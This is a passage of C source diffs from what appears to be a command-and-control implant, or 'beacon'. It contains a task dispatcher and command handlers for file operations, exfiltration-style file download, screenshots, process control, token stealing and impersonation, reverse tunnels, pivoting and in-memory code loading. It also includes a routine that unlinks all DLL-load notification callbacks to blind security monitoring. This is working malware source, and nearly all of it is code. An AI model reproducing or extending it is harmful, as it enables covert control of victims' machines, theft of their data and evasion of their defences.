off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.SmStompDll );
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.TextCap );
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.InUse ? " IN USE)\n" : ")\n" );
} else {
off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" );
}
off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask BOF: " );
off = NaxAppendStr((PCHAR)out, off, cap, Nax->Gate ? "loaded" : "not loaded" );
if ( Nax->SmBofCache ) {
off = NaxAppendStr((PCHAR)out, off, cap, " (cached " );
off = NaxAppendInt((PCHAR)out, off, cap, Nax->SmBofCacheLen );
off = NaxAppendStr((PCHAR)out, off, cap, " bytes)" );
}
off = NaxAppendStr((PCHAR)out, off, cap, "\n" );
break;
}
default:
return NAX_ERR_INVAL;
}
*out_len = off;
return NAX_OK;
}
+225
View File
@@ -0,0 +1,225 @@
#include "Nax.h"
#include "Common.h"
/* ========= [ CMD_CD (0x14) ] ========= */
FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
CHAR path[MAX_PATH_SIZE];
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[path_len] = '\0';
NaxDbg( Nax, "CMD_CD '%s'", path );
if ( Nax->Kernel32.SetCurrentDirectoryA( path ) ) {
*out_len = 0;
return NAX_OK;
}
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
/* ========= [ CMD_PWD (0x15) ] ========= */
FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
(void)args; (void)args_len;
if ( *out_len < MAX_PATH_SIZE ) return NAX_ERR_NOMEM;
DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, (PCHAR)out );
NaxDbg( Nax, "CMD_PWD: GetCurrentDirectoryA rc=%lu out_len=%u", (ULONG)rc, *out_len );
if ( rc == 0 || rc > MAX_PATH_SIZE ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
*out_len = rc;
return NAX_OK;
}
/* ========= [ CMD_MKDIR (0x16) ] ========= */
FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
CHAR path[MAX_PATH_SIZE];
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[path_len] = '\0';
if ( Nax->Kernel32.CreateDirectoryA( path, NULL ) ) {
*out_len = 0;
return NAX_OK;
}
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
/* ========= [ CMD_RMDIR (0x17) ] ========= */
FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
CHAR path[MAX_PATH_SIZE];
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[path_len] = '\0';
if ( Nax->Kernel32.RemoveDirectoryA( path ) ) {
*out_len = 0;
return NAX_OK;
}
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
/* ========= [ CMD_CAT (0x18) ] ========= */
FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
CHAR path[MAX_PATH_SIZE];
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[path_len] = '\0';
HANDLE f = Nax->Kernel32.CreateFileA( path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if ( f == INVALID_HANDLE_VALUE ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
DWORD read = 0;
DWORD to_read = ( *out_len < MAX_FILE_SIZE ) ? *out_len : MAX_FILE_SIZE;
if ( ! Nax->Kernel32.ReadFile( f, out, to_read, &read, NULL ) ) {
/* Save error BEFORE CloseHandle which may overwrite LastErrorValue */
NaxWriteWin32Err( out, out_len );
Nax->Kernel32.CloseHandle( f );
return NAX_ERR_FAIL;
}
Nax->Kernel32.CloseHandle( f );
*out_len = read;
return NAX_OK;
}
/* ========= [ CMD_LS (0x19) ] ========= */
/*
* Wire output on success:
* path_len(2LE) + path(path_len) +
* count(2LE) +
* count × [ isDir(1) | attrs(1) | size(4LE) | mtime(4LE) | name_len(1) | name(name_len) ]
*
* attrs byte = raw FILE_ATTRIBUTE_* low byte (R=0x01, H=0x02, S=0x04, D=0x10, A=0x20).
* mtime = Unix timestamp (FILETIME converted to seconds since epoch, truncated to 32-bit).
* Shows ALL files including hidden/system - caller filters via attrs if needed.
*/
FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
CHAR path[ MAX_PATH_SIZE ];
/* ---- resolve target directory ---- */
if ( args_len == 0 || args == NULL ) {
DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, path );
if ( rc == 0 || rc > MAX_PATH_SIZE ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
} else {
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[ path_len ] = '\0';
}
/* ---- measure path length (saved separately - plen is mutated below) ---- */
UINT32 plen = 0;
while ( path[ plen ] ) plen++;
UINT32 path_wire_len = plen; /* length of just the path, without the appended \* */
/* ---- build "path\*" search pattern ---- */
CHAR pattern[ MAX_PATH_SIZE + 3 ];
MmCopy( pattern, path, plen );
if ( plen > 0 && path[ plen - 1 ] != '\\' ) pattern[ plen++ ] = '\\';
pattern[ plen++ ] = '*';
pattern[ plen ] = '\0';
WIN32_FIND_DATAA fd;
HANDLE h = Nax->Kernel32.FindFirstFileA( pattern, &fd );
if ( h == INVALID_HANDLE_VALUE ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
/* ---- encode wire header ---- */
PBYTE wp = out;
UINT32 cap = *out_len;
/* path_len(2LE) + path */
if ( cap < 2 + path_wire_len + 2 ) { Nax->Kernel32.FindClose( h ); return NAX_ERR_NOMEM; }
NaxW16( wp, (UINT16)path_wire_len ); wp += 2; cap -= 2;
MmCopy( wp, path, path_wire_len ); wp += path_wire_len; cap -= path_wire_len;
/* reserve 2 bytes for entry count - filled after loop */
PBYTE count_ptr = wp;
wp += 2; cap -= 2;
UINT16 count = 0;
/* ---- iterate entries ---- */
do {
/* skip . and .. */
if ( fd.cFileName[0] == '.' &&
( fd.cFileName[1] == '\0' ||
( fd.cFileName[1] == '.' && fd.cFileName[2] == '\0' ) ) )
continue;
UINT32 nlen = 0;
while ( fd.cFileName[ nlen ] ) nlen++;
if ( nlen > 255 ) nlen = 255;
if ( cap < 11 + nlen ) break; /* buffer full - truncate listing */
BYTE isDir = ( fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) ? 1 : 0;
BYTE attrs = (BYTE)( fd.dwFileAttributes & 0xFFu );
UINT32 size = fd.nFileSizeLow;
/* FILETIME → Unix timestamp (32-bit) */
UINT64 ft = ( (UINT64)fd.ftLastWriteTime.dwHighDateTime << 32 )
| (UINT64)fd.ftLastWriteTime.dwLowDateTime;
UINT32 ts = ( ft > 116444736000000000ULL )
? (UINT32)( ( ft - 116444736000000000ULL ) / 10000000ULL )
: 0;
*wp++ = isDir; cap--;
*wp++ = attrs; cap--;
NaxW32( wp, size ); wp += 4; cap -= 4;
NaxW32( wp, ts ); wp += 4; cap -= 4;
*wp++ = (BYTE)nlen; cap--;
MmCopy( wp, fd.cFileName, nlen ); wp += nlen; cap -= nlen;
count++;
} while ( Nax->Kernel32.FindNextFileA( h, &fd ) );
Nax->Kernel32.FindClose( h );
NaxW16( count_ptr, count );
*out_len = (UINT32)( wp - out );
return NAX_OK;
}
/* ========= [ CMD_RM (0x27) ] ========= */
FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
CHAR path[MAX_PATH_SIZE];
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
MmCopy( path, args, path_len );
path[ path_len ] = '\0';
if ( ! Nax->Kernel32.DeleteFileA( path ) ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
*out_len = 0;
return NAX_OK;
}
+309
View File
@@ -0,0 +1,309 @@
/* beacon/src/Commands/Dispatch.c
* NaxDispatch - execute one decoded task, write result into caller buffers.
*
* To add a new command:
* 1. Define NAX_CMD_YOURNAME in Wire.h
* 2. Implement NaxCmdYourName() in Commands/YourName.c
* 3. Add the case here and to the forward declarations below. */
#include "Nax.h"
#include "Transport.h"
/* ========= [ dispatcher ] ========= */
/* Execute task; fill result buffers.
* result_data must be at least 512 bytes (caller's responsibility).
* Returns 1 if a result frame should be sent back, 0 if not (e.g. exit commands). */
FUNC INT NaxDispatch( PNAX_INSTANCE Nax,
const NAX_TASK* task,
UINT32* result_task_id,
BYTE* result_status,
PBYTE result_data,
UINT32* result_data_len ) {
*result_task_id = task->TaskId;
/* *result_data_len is the caller's buffer capacity - leave it as-is. */
switch ( task->CmdId ) {
/* ---- CMD_WHOAMI (0x10) ---- */
case NAX_CMD_WHOAMI:
*result_status = ( NaxCmdWhoami( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
return 1;
/* ---- CMD_SLEEP (0x11) ---- */
case NAX_CMD_SLEEP:
*result_status = ( NaxCmdSleep( Nax, task->Args, (UINT32)task->ArgsLen,
result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
return 1;
/* ---- CMD_EXIT_THREAD (0x12) ---- */
case NAX_CMD_EXIT_THREAD:
Nax->Ntdll.RtlExitUserThread( 0 );
return 0;
/* ---- CMD_EXIT_PROCESS (0x13) ---- */
case NAX_CMD_EXIT_PROCESS:
Nax->Kernel32.ExitProcess( 0 );
return 0;
/* ---- CMD_CD (0x14) ---- */
/* Core.c sets *result_data_len=0 on success, Win32 error (4 bytes) on fail */
case NAX_CMD_CD:
*result_status = ( CmdCd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_PWD (0x15) ---- */
case NAX_CMD_PWD:
*result_status = ( CmdPwd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_MKDIR (0x16) ---- */
case NAX_CMD_MKDIR:
*result_status = ( CmdMkdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_RMDIR (0x17) ---- */
case NAX_CMD_RMDIR:
*result_status = ( CmdRmdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_CAT (0x18) ---- */
case NAX_CMD_CAT:
*result_status = ( CmdCat( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_LS (0x19) ---- */
case NAX_CMD_LS:
*result_status = ( CmdLs( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_BOF (0x20) ---- */
case NAX_CMD_BOF: {
INT bof_rc = NaxCmdBof( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
if ( bof_rc == NAX_STATUS_ASYNC ) {
*result_status = NAX_STATUS_ASYNC;
*result_data_len = 0;
} else {
*result_status = ( bof_rc == NAX_OK ) ? NAX_STATUS_OK : NAX_STATUS_ERR;
}
return 1;
}
/* ---- CMD_SCREENSHOT (0x21) - GDI desktop capture ---- */
case NAX_CMD_SCREENSHOT:
*result_status = ( NaxCmdScreenshot( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
return 1;
/* ---- CMD_DOWNLOAD (0x22) - initiate chunked file download ---- */
case NAX_CMD_DOWNLOAD:
*result_status = ( NaxCmdDownload( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_PS_LIST (0x23) ---- */
case NAX_CMD_PS_LIST:
*result_status = ( CmdPsList( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_PS_KILL (0x24) ---- */
case NAX_CMD_PS_KILL:
*result_status = ( CmdPsKill( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_PS_RUN (0x25) ---- */
case NAX_CMD_PS_RUN:
*result_status = ( CmdPsRun( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_RM (0x27) - delete a file ---- */
case NAX_CMD_RM:
*result_status = ( CmdRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_CHUNKSIZE (0x2B) - set download chunk size ---- */
case NAX_CMD_CHUNKSIZE:
if ( task->ArgsLen >= 4 ) {
UINT32 newSz = NaxR32( task->Args );
if ( newSz > NAX_DL_CHUNK_MAX ) newSz = NAX_DL_CHUNK_MAX;
if ( newSz < 4096 ) newSz = 4096;
Nax->Config.DlChunkSize = newSz;
NaxW32( result_data, newSz );
*result_data_len = 4;
*result_status = NAX_STATUS_OK;
} else {
*result_status = NAX_STATUS_ERR;
*result_data_len = 0;
}
return 1;
/* ---- CMD_UPLOAD (0x26) - write accumulated MemSave data to disk ---- */
case NAX_CMD_UPLOAD:
*result_status = ( NaxCmdUpload( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_SAVEMEMORY (0x2A) - accumulate upload chunk ---- */
case NAX_CMD_SAVEMEMORY:
*result_status = ( NaxCmdSaveMemory( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_PIVOT_EXEC (0x37) - write data to linked child ---- */
case NAX_CMD_PIVOT_EXEC:
CmdPivotExec( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
return 0; /* no result frame - server already knows */
/* ---- CMD_LINK (0x38) - connect to child's named pipe ---- */
case NAX_CMD_LINK:
*result_status = ( CmdLink( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_UNLINK (0x39) - disconnect a linked child ---- */
case NAX_CMD_UNLINK:
*result_status = ( CmdUnlink( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
/* ---- CMD_PROFILE (0x30) - runtime profile update ---- */
case NAX_CMD_PROFILE:
CmdProfile( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
*result_status = result_data[0];
*result_data_len = 0;
return 1;
#endif
/* ---- CMD_BOF_STOMP (0x31) - runtime BOF stomp reconfiguration ---- */
case NAX_CMD_BOF_STOMP:
*result_status = ( NaxCmdBofStomp( Nax, task->Args, (UINT32)task->ArgsLen,
result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_DLL_NOTIFY_LIST (0x3A) - enumerate DLL load notification callbacks ---- */
case NAX_CMD_DLL_NOTIFY_LIST:
*result_status = ( NaxCmdDllNotifyList( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_DLL_NOTIFY_REMOVE (0x3B) - remove all DLL load notification callbacks ---- */
case NAX_CMD_DLL_NOTIFY_REMOVE:
*result_status = ( NaxCmdDllNotifyRemove( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_SLEEPMASK_SET (0x32) - load sleepmask BOF persistently ---- */
case NAX_CMD_SLEEPMASK_SET:
*result_status = ( NaxCmdSleepmaskSet( Nax, task->Args, (UINT32)task->ArgsLen,
result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_SLEEPOBF_CONFIG (0x33) - runtime sleep obfuscation toggle ---- */
case NAX_CMD_SLEEPOBF_CONFIG:
*result_status = ( NaxCmdSleepObfConfig( Nax, task->Args, (UINT32)task->ArgsLen,
result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_JOB_LIST (0x28) ---- */
case NAX_CMD_JOB_LIST:
*result_status = ( NaxJobList( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- CMD_JOB_KILL (0x29) ---- */
case NAX_CMD_JOB_KILL:
if ( task->ArgsLen >= 4 ) {
UINT32 killTaskId = NaxR32( task->Args );
*result_status = ( NaxJobKill( Nax, killTaskId ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
} else {
*result_status = NAX_STATUS_ERR;
}
*result_data_len = 0;
return 1;
/* ---- shell commands (0x470x49) ---- */
case NAX_CMD_SHELL_START:
case NAX_CMD_SHELL_WRITE:
case NAX_CMD_SHELL_CLOSE:
NaxShellDispatch( Nax, task->TaskId, task->CmdId, task->Args, (UINT32)task->ArgsLen );
return 0;
/* ---- tunnel commands (0x3E0x46) ---- */
case NAX_CMD_TUNNEL_CONNECT_TCP:
case NAX_CMD_TUNNEL_WRITE_TCP:
case NAX_CMD_TUNNEL_CLOSE:
case NAX_CMD_TUNNEL_REVERSE:
case NAX_CMD_TUNNEL_PAUSE:
case NAX_CMD_TUNNEL_RESUME:
NaxTunnelDispatch( Nax, task->CmdId, task->Args, (UINT32)task->ArgsLen );
return 0;
/* ---- token commands (0x500x57) ---- */
case NAX_CMD_TOKEN_GETUID:
*result_status = ( CmdTokenGetUid( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_STEAL:
*result_status = ( CmdTokenSteal( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_USE:
*result_status = ( CmdTokenUse( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_LIST:
*result_status = ( CmdTokenList( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_RM:
*result_status = ( CmdTokenRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_REVERT:
*result_status = ( CmdTokenRevert( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_MAKE:
*result_status = ( CmdTokenMake( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
case NAX_CMD_TOKEN_PRIVS:
*result_status = ( CmdTokenPrivs( Nax, result_data, result_data_len ) == NAX_OK )
? NAX_STATUS_OK : NAX_STATUS_ERR;
return 1;
/* ---- unrecognised command ---- */
default:
*result_status = NAX_STATUS_ERR;
*result_data_len = 0;
return 1;
}
}
+181
View File
@@ -0,0 +1,181 @@
/* beacon/src/Commands/DllNotify.c
* List and remove DLL load notification callbacks (LdrRegisterDllNotification).
*
* Technique: register a temp callback to find the list head in ntdll .data,
* then walk the doubly-linked list to enumerate/unlink entries.
* Reference: rad9800/misc - UnregisterAllLdrRegisterDllNotification.c */
#include "Nax.h"
/* ========= [ dummy callback for list-head discovery ] ========= */
FUNC VOID NTAPI NaxDllNotifyDummy(
ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context
) {
(void)NotificationReason;
(void)NotificationData;
(void)Context;
}
/* ========= [ find the list head ] ========= */
FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax ) {
if ( !Nax->Ntdll.LdrRegisterDllNotification || !Nax->Ntdll.LdrUnregisterDllNotification )
return NULL;
HMODULE hNtdll = Nax->Ntdll.Handle;
if ( !hNtdll ) return NULL;
PVOID cookie = NULL;
NTSTATUS st = Nax->Ntdll.LdrRegisterDllNotification( 0, NaxDllNotifyDummy, NULL, &cookie );
if ( st != 0 || !cookie ) return NULL;
PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)cookie;
PIMAGE_NT_HEADERS ntHdr = C_PTR( U_PTR( hNtdll ) + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew );
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( ntHdr );
PVOID dataStart = NULL;
PVOID dataEnd = NULL;
for ( WORD i = 0; i < ntHdr->FileHeader.NumberOfSections; i++ ) {
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 'd' &&
sec[i].Name[2] == 'a' && sec[i].Name[3] == 't' &&
sec[i].Name[4] == 'a' ) {
dataStart = C_PTR( U_PTR( hNtdll ) + sec[i].VirtualAddress );
dataEnd = C_PTR( U_PTR( dataStart ) + sec[i].Misc.VirtualSize );
break;
}
}
PLIST_ENTRY head = NULL;
if ( dataStart && dataEnd ) {
PLIST_ENTRY cur = entry->List.Flink;
while ( cur != &entry->List ) {
if ( U_PTR( cur ) >= U_PTR( dataStart ) &&
U_PTR( cur ) < U_PTR( dataEnd ) ) {
head = cur;
break;
}
cur = cur->Flink;
}
}
Nax->Ntdll.LdrUnregisterDllNotification( cookie );
return head;
}
/* ========= [ list callbacks ] ========= */
FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
if ( !head ) {
UINT32 cap = *out_len;
*out_len = 0;
static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head";
UINT32 elen = 0;
while ( err[elen] ) elen++;
if ( elen <= cap ) {
MmCopy( out, err, elen );
*out_len = elen;
}
return NAX_ERR_FAIL;
}
UINT32 cap = *out_len;
UINT32 off = 0;
UINT32 count = 0;
PLIST_ENTRY cur = head->Flink;
while ( cur != head ) {
PLDR_DLL_NOTIFICATION_ENTRY e = (PLDR_DLL_NOTIFICATION_ENTRY)cur;
count++;
static const char p1[] D_SEC( Bd ) = "[";
static const char p2[] D_SEC( Bd ) = "] callback=";
static const char p3[] D_SEC( Bd ) = " ctx=";
static const char nl[] D_SEC( Bd ) = "\n";
off = NaxAppendStr( (PCHAR)out, off, cap, p1 );
off = NaxAppendInt( (PCHAR)out, off, cap, count );
off = NaxAppendStr( (PCHAR)out, off, cap, p2 );
off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Callback ) );
off = NaxAppendStr( (PCHAR)out, off, cap, p3 );
off = NaxAppendPtr( (PCHAR)out, off, cap, U_PTR( e->Context ) );
off = NaxAppendStr( (PCHAR)out, off, cap, nl );
cur = cur->Flink;
}
if ( count == 0 ) {
static const char none[] D_SEC( Bd ) = "No DLL notification callbacks registered";
UINT32 nlen = 0;
while ( none[nlen] ) nlen++;
if ( nlen <= cap ) {
MmCopy( out, none, nlen );
off = nlen;
}
} else {
static const char t1[] D_SEC( Bd ) = "Total: ";
static const char t2[] D_SEC( Bd ) = " callback(s)";
off = NaxAppendStr( (PCHAR)out, off, cap, t1 );
off = NaxAppendInt( (PCHAR)out, off, cap, count );
off = NaxAppendStr( (PCHAR)out, off, cap, t2 );
}
*out_len = off;
return NAX_OK;
}
/* ========= [ remove all callbacks ] ========= */
FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
if ( !head ) {
UINT32 cap = *out_len;
*out_len = 0;
static const char err[] D_SEC( Bd ) = "Failed to locate DLL notification list head";
UINT32 elen = 0;
while ( err[elen] ) elen++;
if ( elen <= cap ) {
MmCopy( out, err, elen );
*out_len = elen;
}
return NAX_ERR_FAIL;
}
UINT32 count = 0;
while ( head->Flink != head ) {
PLIST_ENTRY entry = head->Flink;
entry->Blink->Flink = entry->Flink;
entry->Flink->Blink = entry->Blink;
count++;
}
UINT32 cap = *out_len;
UINT32 off = 0;
static const char m1[] D_SEC( Bd ) = "Removed ";
static const char m2[] D_SEC( Bd ) = " DLL notification callback(s)";
off = NaxAppendStr( (PCHAR)out, off, cap, m1 );
off = NaxAppendInt( (PCHAR)out, off, cap, count );
off = NaxAppendStr( (PCHAR)out, off, cap, m2 );
*out_len = off;
return NAX_OK;
}
/* ========= [ startup unhook (called from Main.c) ] ========= */
FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax ) {
PLIST_ENTRY head = NaxGetDllNotificationListHead( Nax );
if ( !head ) return;
UINT32 count = 0;
while ( head->Flink != head ) {
PLIST_ENTRY entry = head->Flink;
entry->Blink->Flink = entry->Flink;
entry->Flink->Blink = entry->Blink;
count++;
}
NaxDbg( Nax, "DllNotify: removed %d callback(s) at startup", count );
}
+103
View File
@@ -0,0 +1,103 @@
/* beacon/src/Commands/Download.c
* CMD_DOWNLOAD (0x22) - initiate a chunked file download.
*
* Opens the file, registers a NAX_DOWNLOAD node, and returns the START
* result. Subsequent chunks are sent by NaxProcessDownloads() in the
* heartbeat relay phase (one chunk per sleep cycle).
*
* Task args: file_path (plain byte string, no length prefix).
*
* START result:
* [NAX_DL_START(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname]
*
* Failure result:
* [Win32_error(4LE)] (status=ERR, data_len=4) */
#include "Nax.h"
FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax,
UINT32 taskId,
const PBYTE args,
UINT32 args_len,
PBYTE out,
UINT32* out_len ) {
if ( !args || args_len < 4 ) return NAX_ERR_INVAL;
/* First 4 bytes: per-download chunk size override (0 = use global) */
UINT32 dlChunkSize = NaxR32( args );
PBYTE pathArgs = (PBYTE)args + 4;
UINT32 pathLen = args_len - 4;
/* Build null-terminated path */
PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, pathLen + 1 );
if ( !path_buf ) return NAX_ERR_NOMEM;
MmCopy( path_buf, pathArgs, pathLen );
path_buf[ pathLen ] = '\0';
/* Open file */
HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if ( hFile == INVALID_HANDLE_VALUE ) {
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
NaxWriteWin32ErrCode( out, out_len, err );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
return NAX_ERR_FAIL;
}
/* File size */
DWORD fsize_hi = 0;
DWORD fsize_lo = Nax->Kernel32.GetFileSize( hFile, &fsize_hi );
if ( fsize_lo == (DWORD)( -1 ) || fsize_hi > 0 ) {
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
NaxWriteWin32ErrCode( out, out_len, err );
Nax->Kernel32.CloseHandle( hFile );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
return NAX_ERR_FAIL;
}
UINT32 fsize = (UINT32)fsize_lo;
/* Basename */
PCHAR fname = path_buf;
for ( UINT32 i = 0; path_buf[i]; i++ )
if ( path_buf[i] == '\\' || path_buf[i] == '/' )
